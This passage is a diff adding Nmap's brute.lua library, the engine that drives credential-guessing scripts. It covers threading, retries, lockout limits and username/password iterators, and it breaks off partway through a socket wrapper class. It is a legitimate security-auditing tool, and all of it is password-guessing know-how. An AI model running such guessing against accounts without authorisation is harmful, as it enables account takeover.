+-- @args brute.mode can be user, pass or creds and determines what mode to run
+-- the engine in.
+-- * user - the unpwdb library is used to guess passwords, every password
+-- password is tried for each user. (The user iterator is in the
+-- outer loop)
+-- * pass - the unpwdb library is used to guess passwords, each password
+-- is tried for every user. (The password iterator is in the
+-- outer loop)
+-- * creds- a set of credentials (username and password pairs) are
+-- guessed against the service. This allows for lists of known
+-- or common username and password combinations to be tested.
+-- If no mode is specified and the script has not added any custom
+-- iterator the pass mode will be enabled.
+-- @args brute.credfile a file containing username and password pairs delimited
+-- by '/'
+-- @args brute.guesses the number of guesses to perform against each account.
+-- (default: 0 (unlimited)). The argument can be used to prevent account
+-- lockouts.
+-- @args brute.start the number of threads the engine will start with.
+-- (default: 5).
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+--
+-- Version 0.73
+-- Created 06/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/13/2010 - v0.2 - added connect, disconnect methods to Driver
+-- <patrik@cqure.net>
+-- Revised 07/21/2010 - v0.3 - documented missing argument brute.mode
+-- Revised 07/23/2010 - v0.4 - fixed incorrect statistics and changed output to
+-- include statistics, and to display "no accounts
+-- found" message.
+-- Revised 08/14/2010 - v0.5 - added some documentation and smaller changes per
+-- David's request.
+-- Revised 08/30/2010 - v0.6 - added support for custom iterators and did some
+-- needed cleanup.
+-- Revised 06/19/2011 - v0.7 - added support for creds library [Patrik]
+-- Revised 07/07/2011 - v0.71- fixed some minor bugs, and changed credential
+-- iterator to use a file handle instead of table
+-- Revised 07/21/2011 - v0.72- added code to allow script reporting invalid
+-- (non existing) accounts using setInvalidAccount
+-- Revised 11/12/2011 - v0.73- added support for max guesses per account to
+-- prevent account lockouts.
+-- bugfix: added support for guessing the username
+-- as password per default, as suggested by the
+-- documentation.
+-- Revised 07/11/2016 - v.8 - added smart resource management and error handling
+-- mechanisms. Sergey Khegay <g.sergeykhegay@gmail.com>
+
+local coroutine = require "coroutine"
+local creds = require "creds"
+local io = require "io"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local table = require "table"
+local unpwdb = require "unpwdb"
+local math = require "math"
+_ENV = stdnse.module("brute", stdnse.seeall)
+
+-- Engine options that can be set by scripts
+-- Supported options are:
+-- * firstonly - stop after finding the first correct password
+-- (can be set using script-arg brute.firstonly)
+-- * passonly - guess passwords only, don't supply a username
+-- (can be set using script-arg brute.passonly)
+-- * max_retries - the amount of retries to do before aborting
+-- (can be set using script-arg brute.retries)
+-- * delay - sets the delay between attempts
+-- (can be set using script-arg brute.delay)
+-- * mode - can be set to either creds, user or pass and controls
+-- whether the engine should iterate over users, passwords
+-- or fetch a list of credentials from a single file.
+-- (can be set using script-arg brute.mode)
+-- * title - changes the title of the result table where the
+-- passwords are returned.
+-- * nostore - don't store the results in the credential library
+-- * max_guesses - the maximum amount of guesses to perform for each
+-- account.
+-- * useraspass - guesses the username as password (default: true)
+-- * emptypass - guesses an empty string as password (default: false)
+-- * killstagnated - abort the Engine if bruteforcing has stagnated
+-- getting too many connections errors. (default: true)
+--
+Options = {
+
+ new = function (self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+
+ o.emptypass = self.checkBoolArg("brute.emptypass", false)
+ o.useraspass = self.checkBoolArg("brute.useraspass", true)
+ o.firstonly = self.checkBoolArg("brute.firstonly", false)
+ o.passonly = self.checkBoolArg("brute.passonly", false)
+ o.killstagnated = self.checkBoolArg("brute.killstagnated", true)
+ o.max_retries = tonumber(stdnse.get_script_args("brute.retries")) or 2
+ o.delay = tonumber(stdnse.get_script_args("brute.delay")) or 0
+ o.max_guesses = tonumber(stdnse.get_script_args("brute.guesses")) or 0
+
+ return o
+ end,
+
+ --- Checks if a script argument is boolean true or false
+ --
+ -- @param arg string containing the name of the argument to check
+ -- @param default boolean containing the default value
+ -- @return boolean, true if argument evaluates to 1 or true, else false
+ checkBoolArg = function (arg, default)
+ local val = stdnse.get_script_args(arg) or default
+ return (val == "true" or val == true or tonumber(val) == 1)
+ end,
+
+ --- Sets the brute mode to either iterate over users or passwords
+ -- @see description for more information.
+ --
+ -- @param mode string containing either "user" or "password"
+ -- @return status true on success else false
+ -- @return err string containing the error message on failure
+ setMode = function (self, mode)
+ local modes = {
+ "password",
+ "user",
+ "creds",
+ }
+ local supported = false
+
+ for _, m in ipairs(modes) do
+ if mode == m then
+ supported = true
+ end
+ end
+
+ if not supported then
+ stdnse.debug1("ERROR: brute.options.setMode: mode %s not supported", mode)
+ return false, "Unsupported mode"
+ else
+ self.mode = mode
+ end
+ return true
+ end,
+
+ --- Sets an option parameter
+ --
+ -- @param param string containing the parameter name
+ -- @param value string containing the parameter value
+ setOption = function (self, param, value)
+ self[param] = value
+ end,
+
+ --- Set an alternate title for the result output (default: Accounts)
+ --
+ -- @param title string containing the title value
+ setTitle = function (self, title)
+ self.title = title
+ end,
+
+}
+
+-- The account object which is to be reported back from each driver
+-- The Error class, is currently only used to flag for retries
+-- It also contains the error message, if one was returned from the driver.
+Error = {
+ retry = false,
+
+ new = function (self, msg)
+ local o = {
+ msg = msg,
+ done = false,
+ reduce = nil,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Is the error recoverable?
+ --
+ -- @return status true if the error is recoverable, false if not
+ isRetry = function (self)
+ return self.retry
+ end,
+
+ --- Set the error as recoverable
+ --
+ -- @param r boolean true if the engine should attempt to retry the
+ -- credentials, unset or false if not
+ setRetry = function (self, r)
+ self.retry = r
+ end,
+
+ --- Set the error as abort all threads
+ --
+ -- @param b boolean true if the engine should abort guessing on all threads
+ setAbort = function (self, b)
+ self.abort = b
+ end,
+
+ --- Was the error abortable
+ --
+ -- @return status true if the driver flagged the engine to abort
+ isAbort = function (self)
+ return self.abort
+ end,
+
+ --- Get the error message reported
+ --
+ -- @return msg string containing the error message
+ getMessage = function (self)
+ return self.msg
+ end,
+
+ --- Is the thread done?
+ --
+ -- @return status true if done, false if not
+ isDone = function (self)
+ return self.done
+ end,
+
+ --- Signals the engine that the thread is done and should be terminated
+ --
+ -- @param b boolean true if done, unset or false if not
+ setDone = function (self, b)
+ self.done = b
+ end,
+
+ -- Marks the username as invalid, aborting further guessing.
+ -- @param username
+ setInvalidAccount = function (self, username)
+ self.invalid_account = username
+ end,
+
+ -- Checks if the error reported the account as invalid.
+ -- @return username string containing the invalid account
+ isInvalidAccount = function (self)
+ return self.invalid_account
+ end,
+
+ --- Set the error as reduce the number of running threads
+ --
+ -- @param r boolean true if should reduce, unset or false if not
+ setReduce = function (self, r)
+ self.reduce = r
+ end,
+
+ --- Checks if the error signals to reduce the number of running threads
+ --
+ -- @return status true if reduce, false otherwise
+ isReduce = function (self)
+ if self.reduce then
+ return true
+ end
+ return false
+ end,
+}
+
+-- Auxillary data structure
+Batch = {
+ new = function (self, lim, stime)
+ local o = {
+ limit = lim or 3, -- maximum number of items
+ full = false,
+ data = {}, -- storage
+ size = 0, -- current number of items
+ start_time = stime or 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Adds new item to the vault (if possible)
+ --
+ -- @param obj, new object
+ -- @return true if insert is successful, false if the vault is full
+ add = function (self, obj)
+ if self.size < self.limit then
+ self.data[self.size + 1] = obj
+ self.size = self.size + 1
+ return true
+ end
+
+ return false
+ end,
+
+ isFull = function (self)
+ if self.size >= self.limit then
+ return true
+ end
+
+ return false
+ end,
+
+ getData = function (self)
+ return self.data
+ end,
+
+ getSize = function (self)
+ return self.size
+ end,
+
+ getStartTime = function (self)
+ return self.start_time
+ end,
+
+ getLimit = function (self)
+ return self.limit
+ end,
+
+ setLimit = function (self, lim)
+ self.limit = lim
+ end,
+}
+
+
+-- The brute engine, doing all the nasty work
+Engine = {
+ STAT_INTERVAL = 20,
+ THREAD_TO_ENGINE = {},
+
+ --- Creates a new Engine instance
+ --
+ -- @param driver, the driver class that should be instantiated
+ -- @param host table as passed to the action method of the script
+ -- @param port table as passed to the action method of the script
+ -- @param options table containing any script specific options
+ -- @return o new Engine instance
+ new = function (self, driver, host, port, options)
+
+ -- we want Engine.THREAD_TO_ENGINE to contain weak keys
+ -- for effective garbage collection
+ if getmetatable(Engine.THREAD_TO_ENGINE) == nil then
+ setmetatable(Engine.THREAD_TO_ENGINE, {
+ __mode = "k",
+ })
+ end
+
+ local o = {
+ driver = driver,
+ host = host,
+ port = port,
+ driver_options = options,
+ terminate_all = false,
+ error = nil,
+ counter = 0,
+ threads = {},
+ tps = {},
+ iterator = nil,
+ usernames = usernames_iterator(),
+ passwords = passwords_iterator(),
+ found_accounts = {},
+ account_guesses = {},
+ options = Options:new(),
+
+ retry_accounts = {},
+ initial_accounts_exhausted = false,
+ batch = nil,
+ tick = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+
+ o.max_threads = tonumber(stdnse.get_script_args "brute.threads") or 20
+ o.start_threads = tonumber(stdnse.get_script_args "brute.start") or 5
+
+ return o
+ end,
+
+ --- Sets the username iterator
+ --
+ -- @param usernameIterator function to set as a username iterator
+ setUsernameIterator = function (self, usernameIterator)
+ self.usernames = usernameIterator
+ end,
+
+ --- Sets the password iterator
+ --
+ -- @param passwordIterator function to set as a password iterator
+ setPasswordIterator = function (self, passwordIterator)
+ self.passwords = passwordIterator
+ end,
+
+ --- Limit the number of worker threads
+ --
+ -- @param max number containing the maximum number of allowed threads
+ setMaxThreads = function (self, max)
+ self.max_threads = max
+ end,
+
+ --- Returns the number of non-dead threads
+ --
+ -- @return count number of non-dead threads
+ threadCount = function (self)
+ local count = 0
+
+ for thread in pairs(self.threads) do
+ if coroutine.status(thread) == "dead" then
+ self.threads[thread] = nil
+ else
+ count = count + 1
+ end
+ end
+ return count
+ end,
+
+ --- Calculates the number of threads that are actually doing any work
+ --
+ -- @return count number of threads performing activity
+ activeThreads = function (self)
+ local count = 0
+ for thread, v in pairs(self.threads) do
+ if v.guesses ~= nil then
+ count = count + 1
+ end
+ end
+ return count
+ end,
+
+ --- Iterator wrapper used to iterate over all registered iterators
+ --
+ -- @return iterator function
+ get_next_credential = function (self)
+ local function next_credential ()
+ for user, pass in self.iterator do
+ -- makes sure the credentials have not been tested before
+ self.used_creds = self.used_creds or {}
+ pass = pass or "nil"
+ if not self.used_creds[user .. pass] then
+ self.used_creds[user .. pass] = true
+ coroutine.yield(user, pass)
+ end
+ end
+ while true do
+ coroutine.yield(nil, nil)
+ end
+ end
+ return coroutine.wrap(next_credential)
+ end,
+
+ --- Does the actual authentication request
+ --
+ -- @return true on success, false on failure
+ -- @return response Account on success, Error on failure
+ doAuthenticate = function (self)
+
+ local status, response
+ local next_credential = self:get_next_credential()
+ local tries = self.options.max_retries + 1
+ local username, password
+ local thread_data = Engine.getThreadData(coroutine.running())
+ assert(thread_data, "Unknown coroutine is running")
+
+ repeat
+ local driver = self.driver:new(self.host, self.port, self.driver_options)
+
+ status, response = driver:connect()
+
+ -- Temporary workaround. Did not connect successfully
+ -- due to stressed server
+ if not status then
+ -- We have to first check whether the response is a brute.Error
+ -- since many times the connect method returns a string error instead,
+ -- which could crash this thread in several places
+ if response and not response.isReduce then
+ -- Create a new Error
+ response = Error:new("Connect error: " .. response)
+ response:setRetry(true)
+ end
+ if response and response:isReduce() then
+ local ret_creds = {}
+ ret_creds.connect_phase = true
+ return false, response, ret_creds
+ end
+ else
+ -- Did we successfully connect?
+ if not username and not password then
+ repeat
+ if #self.retry_accounts > 0 then
+ -- stdnse.debug1("Using retry credentials")
+ username = self.retry_accounts[#self.retry_accounts].username
+ password = self.retry_accounts[#self.retry_accounts].password
+ table.remove(self.retry_accounts, #self.retry_accounts)
+ else
+ username, password = next_credential()
+ end
+
+ thread_data.username = username
+ thread_data.password = password
+
+
+ if not username and not password then
+ driver:disconnect()
+ self.initial_accounts_exhausted = true
+ return false
+ end
+ until (not self.found_accounts or not self.found_accounts[username])
+ and (self.options.max_guesses == 0 or not self.account_guesses[username]
+ or self.options.max_guesses > self.account_guesses[username])
+
+ -- increases the number of guesses for an account
+ self.account_guesses[username] = self.account_guesses[username]
+ and self.account_guesses[username] + 1 or 1
+ end
+
+ -- make sure that all threads locked in connect stat terminate quickly
+ if Engine.terminate_all then
+ driver:disconnect()
+ driver = nil
+ return false
+ end
+
+ local c
+ -- Do we have a username or not?
+ if username and #username > 0 then
+ c = ("%s/%s"):format(username, #password > 0 and password or "<empty>")
+ else
+ c = ("%s"):format(#password > 0 and password or "<empty>")
+ end
+
+ local msg = (tries <= self.options.max_retries) and "Re-trying" or "Trying"
+ stdnse.debug2("%s %s against %s:%d", msg, c, self.host.ip, self.port.number)
+ status, response = driver:login(username, password)
+
+ driver:disconnect()
+ driver = nil
+
+ if not status and response and response:isReduce() then
+ local ret_creds = {}
+ ret_creds.username = username
+ ret_creds.password = password
+ return false, response, ret_creds
+ end
+
+ end
+
+ tries = tries - 1
+
+ -- End if:
+ -- * The guess was successful
+ -- * The response was not set to retry
+ -- * We've reached the maximum retry attempts
+ until status or (response and not (response:isRetry())) or tries <= 0
+
+ -- Increase the amount of total guesses
+ self.counter = self.counter + 1
+
+ return status, response
+ end,
+
+
+ login = function (self, cvar)
+ local condvar = nmap.condvar(cvar)
+ local thread_data = self.threads[coroutine.running()]
+ local interval_start = os.time()
+
+
+ while true do
+ -- Should we terminate all threads or this particular thread?
+ if (self.terminate_all or thread_data.terminate)
+ or (self.initial_accounts_exhausted and #self.retry_accounts == 0) then
+ break
+ end
+
+ -- Update tick and add this thread to the batch
+ self.tick = self.tick + 1
+
+ if not (self.batch:isFull()) and not thread_data.in_batch then
+ self.batch:add(coroutine.running())
+
+ thread_data.in_batch = true
+ thread_data.ready = false
+ end
+
+ -- We expect doAuthenticate to pass the report variable received from the script
+ local status, response, ret_creds = self:doAuthenticate()
+
+ if thread_data.in_batch then
+ thread_data.ready = true
+ end
+
+ if status then
+ -- Prevent locked accounts from appearing several times
+ if not self.found_accounts or self.found_accounts[response.username] == nil then
+ if not self.options.nostore then
+ local c = creds.Credentials:new(self.options.script_name, self.host, self.port)
+ c:add(response.username, response.password, response.state)
+ else
+ self.credstore = self.credstore or {}
+ table.insert(self.credstore, tostring(response))
+ end
+
+ stdnse.debug1("Discovered account: %s", tostring(response))
+
+ -- if we're running in passonly mode, and want to continue guessing
+ -- we will have a problem as the username is always the same.
+ -- in this case we don't log the account as found.
+ if not self.options.passonly then
+ self.found_accounts[response.username] = true
+ end
+
+ -- Check if firstonly option was set, if so abort all threads
+ if self.options.firstonly then
+ self.terminate_all = true
+ end
+ end
+ elseif ret_creds then
+ if not ret_creds.connect_phase then
+ -- add credentials to a vault
+ self.retry_accounts[#self.retry_accounts + 1] = {
+ username = ret_creds.username,
+ password = ret_creds.password,
+ }
+ end
+ -- notify the main thread that there were an error on this coroutine
+ thread_data.protocol_error = true
+
+ condvar "signal"
+ condvar "wait"
+ else
+ if response and response:isAbort() then
+ self.terminate_all = true
+ self.error = response:getMessage()
+ break
+ elseif response and response:isDone() then
+ break
+ elseif response and response:isInvalidAccount() then
+ self.found_accounts[response:isInvalidAccount()] = true
+ end
+ end
+
+ local timediff = (os.time() - interval_start)
+
+ -- This thread made another guess
+ thread_data.guesses = (thread_data.guesses and thread_data.guesses + 1 or 1)
+
+ -- Dump statistics at regular intervals
+ if timediff > Engine.STAT_INTERVAL then
+ interval_start = os.time()
+ local tps = self.counter / (os.time() - self.starttime)
+ table.insert(self.tps, tps)
+ stdnse.debug2("threads=%d,tps=%.1f", self:activeThreads(), tps)
+ end
+
+ -- if delay was specified, do sleep
+ if self.options.delay > 0 then
+ stdnse.sleep(self.options.delay)
+ end
+
+ condvar "signal"
+ end
+
+ condvar "signal"
+ end,
+
+ --- Adds new worker thread using start function
+ --
+ -- @return new thread object
+ addWorker = function (self, cvar)
+ local co = stdnse.new_thread(self.login, self, cvar)
+
+ Engine.THREAD_TO_ENGINE[co] = self
+
+ self.threads[co] = {
+ running = true,
+ protocol_error = nil,
+ attempt = 0,
+ in_batch = false,
+ ready = false,
+
+ connection_error = nil,
+ con_error_reason = nil,
+ username = nil,
+ password = nil,
+ }
+
+ return co
+ end,
+
+ addWorkerN = function (self, cvar, n)
+ assert(n >= 0)
+ for i = 1, n do
+ self:addWorker(cvar)
+ end
+ end,
+
+ renewBatch = function (self)
+ if self.batch then
+ local size = self.batch:getSize()
+ local data = self.batch:getData()
+
+ for i = 1, size do
+ if self.threads[data[i]] then
+ self.threads[data[i]].in_batch = false
+ self.threads[data[i]].ready = false
+ end
+ end
+ end
+
+ self.batch = Batch:new(math.min(self:threadCount(), 3), self.tick)
+ end,
+
+ readyBatch = function (self)
+ if not self.batch then
+ return false
+ end
+
+ local n = self.batch:getSize()
+ local data = self.batch:getData()
+
+ if n == 0 then
+ return false
+ end
+
+ for i = 1, n do
+ if self.threads[data[i]] and coroutine.status(data[i]) ~= "dead" and self.threads[data[i]].in_batch then
+ if not self.threads[data[i]].ready then
+ return false
+ end
+ end
+ end
+
+ return true
+ end,
+
+ --- Starts the brute-force
+ --
+ -- @return status true on success, false on failure
+ -- @return err string containing error message on failure
+ start = function (self)
+
+ local cvar = {}
+ local condvar = nmap.condvar(cvar)
+
+ assert(self.options.script_name, "SCRIPT_NAME was not set in options.script_name")
+ assert(self.port.number and self.port.protocol, "Invalid port table detected")
+ self.port.service = self.port.service or "unknown"
+
+ -- Only run the check method if it exist. We should phase this out
+ -- in favor of a check in the action function of the script
+ if self.driver:new(self.host, self.port, self.driver_options).check then
+ -- check if the driver is ready!
+ local status, response = self.driver:new(self.host, self.port, self.driver_options):check()
+ if not status then
+ return false, response
+ end
+ end
+
+ local usernames = self.usernames
+ local passwords = self.passwords
+
+ if "function" ~= type(usernames) then
+ return false, ("Invalid usernames iterator: %s"):format(usernames)
+ end
+ if "function" ~= type(passwords) then
+ return false, ("Invalid passwords iterator: %s"):format(passwords)
+ end
+
+ local mode = self.options.mode or stdnse.get_script_args "brute.mode"
+
+ -- if no mode was given, but a credfile is present, assume creds mode
+ if not mode and stdnse.get_script_args "brute.credfile" then
+ if stdnse.get_script_args "userdb" or stdnse.get_script_args "passdb" then
+ return false, "\n ERROR: brute.credfile can't be used in combination with userdb/passdb"
+ end
+ mode = 'creds'
+ end
+
+ -- Are we guessing against a service that has no username (eg. VNC)
+ if self.options.passonly then
+ local function single_user_iter (next)
+ local function next_user ()
+ coroutine.yield ""
+ end
+ return coroutine.wrap(next_user)
+ end
+ -- only add this iterator if no other iterator was specified
+ if self.iterator == nil then
+ self.iterator = Iterators.user_pw_iterator(single_user_iter(), passwords)
+ end
+ elseif mode == 'creds' then
+ local credfile = stdnse.get_script_args "brute.credfile"
+ if not credfile then
+ return false, "No credential file specified (see brute.credfile)"
+ end
+
+ local f = io.open(credfile, "r")
+ if not f then
+ return false, ("Failed to open credfile (%s)"):format(credfile)
+ end
+
+ self.iterator = Iterators.credential_iterator(f)
+ elseif mode and mode == 'user' then
+ self.iterator = self.iterator or Iterators.user_pw_iterator(usernames, passwords)
+ elseif mode and mode == 'pass' then
+ self.iterator = self.iterator or Iterators.pw_user_iterator(usernames, passwords)
+ elseif mode then
+ return false, ("Unsupported mode: %s"):format(mode)
+ -- Default to the pw_user_iterator in case no iterator was specified
+ elseif self.iterator == nil then
+ self.iterator = Iterators.pw_user_iterator(usernames, passwords)
+ end
+
+ if (not mode or mode == 'user' or mode == 'pass') and self.options.useraspass then
+ -- if we're only guessing passwords, this doesn't make sense
+ if not self.options.passonly then
+ self.iterator = unpwdb.concat_iterators(
+ Iterators.pw_same_as_user_iterator(usernames, "lower"),
+ self.iterator
+ )
+ end
+ end
+
+ if (not mode or mode == 'user' or mode == 'pass') and self.options.emptypass then
+ local function empty_pass_iter ()
+ local function next_pass ()
+ coroutine.yield ""
+ end
+ return coroutine.wrap(next_pass)
+ end
+ self.iterator = Iterators.account_iterator(usernames, empty_pass_iter(), mode or "pass")
+ end
+
+ self.starttime = os.time()
+
+
+ -- How many threads should start?
+ local start_threads = self.start_threads
+ -- If there are already too many threads waiting for connection,
+ -- then start humbly with one thread
+ if nmap.socket.get_stats().connect_waiting > 0 then
+ start_threads = 1
+ end
+
+ -- Start `start_threads` number of threads
+ self:addWorkerN(cvar, start_threads)
+ self:renewBatch()
+
+ local revive = false
+ local killed_one = false
+ local error_since_batch_start = false
+ local stagnation_count = 0 -- number of times when all threads are stopped because of exceptions
+ local quick_start = true
+ local stagnated = true
+
+ -- Main logic loop
+ while true do
+ local thread_count = self:threadCount()
+
+ -- should we stop
+ if thread_count <= 0 then
+ if (self.initial_accounts_exhausted and #self.retry_accounts == 0) or self.terminate_all then
+ break
+ else
+ -- there are some accounts yet to be checked, so revive the engine
+ revive = true
+ end
+ end
+
+ -- Reset flags
+ killed_one = false
+ error_since_batch_start = false
+
+ -- Are all the threads have any kind of mistake?
+ -- if not, then this variable will change to false after next loop
+ stagnated = true
+
+ -- Run through all coroutines and check their statuses
+ -- if any mistake has happened kill one coroutine.
+ -- We do not actually kill a coroutine right-away, we just
+ -- signal it to finish work until some point an then die.
+ for co, v in pairs(self.threads) do
+ if not v.connection_error then
+ stagnated = false
+ end
+
+ if v.protocol_error or v.connection_error then
+ if v.attempt >= self.batch:getStartTime() then
+ error_since_batch_start = true
+ end
+
+ if not killed_one then
+ v.terminate = true
+ killed_one = true
+
+ if v.protocol_error then
+ stdnse.debug2("Killed one thread because of PROTOCOL exception")
+ else
+ stdnse.debug2("Killed one thread because of CONNECTION exception")
+ end
+ end
+
+ -- Remove error flags of the thread to let it continue to run
+ v.protocol_error = nil
+ v.connection_error = nil
+ else
+ -- If we got here, then at least one thread is running fine
+ -- and there is no connection stagnation
+ --stagnated = false
+ end
+ end
+
+ if stagnated == true then
+ stagnation_count = stagnation_count + 1
+
+ -- If we get inside `if` below, then we are not making any
+ -- guesses for too long. In this case it is reasonable to stop
+ -- bruteforce.
+ if stagnation_count == 100 then
+ stdnse.debug1("WARNING: The service seems to have failed or is heavily firewalled... Consider aborting.")
+ if self.options.killstagnated then
+ self.error = "The service seems to have failed or is heavily firewalled..."
+ self.terminate_all = true
+ end
+ stagnation_count = 0
+ end
+ else
+ stagnation_count = 0
+ end
+
+ -- `quick_start` changes to false only once since Engine starts
+ -- `quick_start` remains false till the end of the bruteforce.
+ if killed_one then
+ quick_start = false
+ end
+
+ -- Check if we possibly exhaust resources.
+ if not killed_one then
+ local waiting = nmap.socket.get_stats().connect_waiting
+
+ if waiting ~= 0 then
+ local kill_count = 1
+ if waiting > 5 then
+ kill_count = math.max(math.floor(thread_count / 2), 1)
+ end
+
+ for co, v in pairs(self.threads) do
+ if coroutine.status(co) ~= "dead" then
+ stdnse.debug2("Killed one because of RESOURCE management")
+ v.terminate = true
+ killed_one = true
+
+ kill_count = kill_count - 1
+ if kill_count == 0 then
+ break
+ end
+ end
+ end
+ end
+
+ end
+
+ -- Renew the batch if there was an error since we started to assemble the batch
+ -- or the batch's limit is unreachable with current number of threads
+ -- or when some thread does not change state to ready for too long
+ if error_since_batch_start
+ or not killed_one and thread_count < self.batch:getLimit()
+ or (thread_count > 0 and self.tick - self.batch:getStartTime() > 10) then
+ self:renewBatch()
+ end
+
+ if (not killed_one and self.batch:isFull() and thread_count < self.max_threads)
+ or revive then
+
+ local num_to_add = 1
+ if quick_start then
+ num_to_add = math.min(self.max_threads - thread_count, thread_count)
+ end
+
+ self:addWorkerN(cvar, num_to_add)
+ self:renewBatch()
+ revive = false
+ end
+
+
+ local threads = self:threadCount()
+ stdnse.debug2("Status: #threads = %d, #retry_accounts = %d, initial_accounts_exhausted = %s, waiting = %d",
+ threads, #self.retry_accounts, tostring(self.initial_accounts_exhausted),
+ nmap.socket.get_stats().connect_waiting)
+
+ if threads > 0 then
+ -- wake up other threads
+ -- wait for all threads to finish running
+ condvar "broadcast"
+ condvar "wait"
+ end
+ end
+
+
+ local valid_accounts
+
+ if not self.options.nostore then
+ valid_accounts = creds.Credentials:new(self.options.script_name, self.host, self.port):getTable()
+ else
+ valid_accounts = self.credstore
+ end
+
+ local result = stdnse.output_table()
+ -- Did we find any accounts, if so, do formatting
+ if valid_accounts and #valid_accounts > 0 then
+ result[self.options.title or "Accounts"] = valid_accounts
+ else
+ result.Accounts = "No valid accounts found"
+ end
+
+ -- calculate the average tps
+ local sum = 0
+ for _, v in ipairs(self.tps) do
+ sum = sum + v
+ end
+ local time_diff = (os.time() - self.starttime)
+ time_diff = (time_diff == 0) and 1 or time_diff
+ local tps = (sum == 0) and (self.counter / time_diff) or (sum / #self.tps)
+
+ -- Add the statistics to the result
+ result.Statistics = ("Performed %d guesses in %d seconds, average tps: %.1f"):format( self.counter, time_diff, tps )
+
+ if self.options.max_guesses > 0 then
+ -- we only display a warning if the guesses are equal to max_guesses
+ for user, guesses in pairs(self.account_guesses) do
+ if guesses == self.options.max_guesses then
+ result.Information = ("Guesses restricted to %d tries per account to avoid lockout"):format(self.options.max_guesses)
+ break
+ end
+ end
+ end
+
+ -- Did any error occur? If so add this to the result.
+ if self.error then
+ result.ERROR = self.error
+ return false, result
+ end
+ return true, result
+ end,
+
+ getEngine = function (co)
+ local engine = Engine.THREAD_TO_ENGINE[co]
+ if not engine then
+ stdnse.debug1("WARNING: No engine associated with %s", coroutine.running())
+ end
+ return engine
+ end,
+
+ getThreadData = function (co)
+ local engine = Engine.getEngine(co)
+ if not engine then
+ return nil
+ end
+ return engine.threads[co]
+ end,
+}
+
+--- Default username iterator that uses unpwdb
+--
+function usernames_iterator ()
+ local status, usernames = unpwdb.usernames()
+ if not status then
+ return usernames or "Failed to load usernames"
+ end
+ return usernames
+end
+
+--- Default password iterator that uses unpwdb
+--
+function passwords_iterator ()
+ local status, passwords = unpwdb.passwords()
+ if not status then
+ return passwords or "Failed to load passwords"
+ end
+ return passwords
+end
+
+Iterators = {
+
+ --- Iterates over each user and password
+ --
+ -- @param users table/function containing list of users
+ -- @param pass table/function containing list of passwords
+ -- @param mode string, should be either 'user' or 'pass' and controls
+ -- whether the users or passwords are in the 'outer' loop
+ -- @return function iterator
+ account_iterator = function (users, pass, mode)
+ local function next_credential ()
+ local outer, inner
+ if "table" == type(users) then
+ users = unpwdb.table_iterator(users)
+ end
+ if "table" == type(pass) then
+ pass = unpwdb.table_iterator(pass)
+ end
+
+ if mode == 'pass' then
+ outer, inner = pass, users
+ elseif mode == 'user' then
+ outer, inner = users, pass
+ else
+ return
+ end
+
+ for o in outer do
+ for i in inner do
+ if mode == 'pass' then
+ coroutine.yield(i, o)
+ else
+ coroutine.yield(o, i)
+ end
+ end
+ inner "reset"
+ end
+ while true do
+ coroutine.yield(nil, nil)
+ end
+ end
+ return coroutine.wrap(next_credential)
+ end,
+
+
+ --- Try each password for each user (user in outer loop)
+ --
+ -- @param users table/function containing list of users
+ -- @param pass table/function containing list of passwords
+ -- @return function iterator
+ user_pw_iterator = function (users, pass)
+ return Iterators.account_iterator(users, pass, "user")
+ end,
+
+ --- Try each user for each password (password in outer loop)
+ --
+ -- @param users table/function containing list of users
+ -- @param pass table/function containing list of passwords
+ -- @return function iterator
+ pw_user_iterator = function (users, pass)
+ return Iterators.account_iterator(users, pass, "pass")
+ end,
+
+ --- An iterator that returns the username as password
+ --
+ -- @param users function returning the next user
+ -- @param case string [optional] 'upper' or 'lower', specifies if user
+ -- and password pairs should be case converted.
+ -- @return function iterator
+ pw_same_as_user_iterator = function (users, case)
+ local function next_credential ()
+ for user in users do
+ if case == 'upper' then
+ coroutine.yield(user, user:upper())
+ elseif case == 'lower' then
+ coroutine.yield(user, user:lower())
+ else
+ coroutine.yield(user, user)
+ end
+ end
+ users "reset"
+ while true do
+ coroutine.yield(nil, nil)
+ end
+ end
+ return coroutine.wrap(next_credential)
+ end,
+
+ --- An iterator that returns the username and uppercase password
+ --
+ -- @param users table containing list of users
+ -- @param pass table containing list of passwords
+ -- @param mode string, should be either 'user' or 'pass' and controls
+ -- whether the users or passwords are in the 'outer' loop
+ -- @return function iterator
+ pw_ucase_iterator = function (users, passwords, mode)
+ local function next_credential ()
+ for user, pass in Iterators.account_iterator(users, passwords, mode) do
+ coroutine.yield(user, pass:upper())
+ end
+ while true do
+ coroutine.yield(nil, nil)
+ end
+ end
+ return coroutine.wrap(next_credential)
+ end,
+
+ --- Credential iterator (for default or known user/pass combinations)
+ --
+ -- @param f file handle to file containing credentials separated by '/'
+ -- @return function iterator
+ credential_iterator = function (f)
+ local function next_credential ()
+ local c = {}
+ for line in f:lines() do
+ if not (line:match "^#!comment:") then
+ local trim = function (s)
+ return s:match '^()%s*$' and '' or s:match '^%s*(.*%S)'
+ end
+ line = trim(line)
+ local user, pass = line:match "^([^%/]*)%/(.*)$"
+ coroutine.yield(user, pass)
+ end
+ end
+ f:close()
+ while true do
+ coroutine.yield(nil, nil)
+ end
+ end
+ return coroutine.wrap(next_credential)
+ end,
+
+ unpwdb_iterator = function (mode)
+ local status, users, passwords
+
+ status, users = unpwdb.usernames()
+ if not status then
+ return
+ end
+
+ status, passwords = unpwdb.passwords()
+ if not status then
+ return
+ end
+
+ return Iterators.account_iterator(users, passwords, mode)
+ end,
+
+}
+
+-- These functions all return a boolean and an error (or result)
+-- and should all be wrapped in order to check status of the engine.
+checkwrap = {
+ connect = true,
+ send = true,
+ receive = true,
+ receive_lines = true,
+ receive_buf = true,
+ receive_bytes = true,
+}
+
+-- A socket wrapper class.
+-- Instances of this class can be treated as regular sockets.
+-- This wrapper is used to relay connection errors to the corresponding Engine
+-- instance.
+BruteSocket = {
+ new = function (self)
+ local o = {
+ socket = nil,
+ }
+ setmetatable(o, self)
+
+ self.__index = function (instance, key)
+ local f = rawget(self, key)
+ if f then
